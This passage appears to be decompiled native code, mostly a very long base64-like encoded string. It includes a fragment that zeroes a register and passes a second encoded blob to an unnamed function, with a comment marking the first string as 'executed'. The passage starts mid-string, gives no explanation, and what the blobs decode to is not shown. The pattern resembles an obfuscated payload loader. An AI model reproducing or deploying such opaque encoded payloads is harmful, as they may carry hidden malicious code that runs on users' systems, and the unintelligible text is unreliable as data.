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"); // executed
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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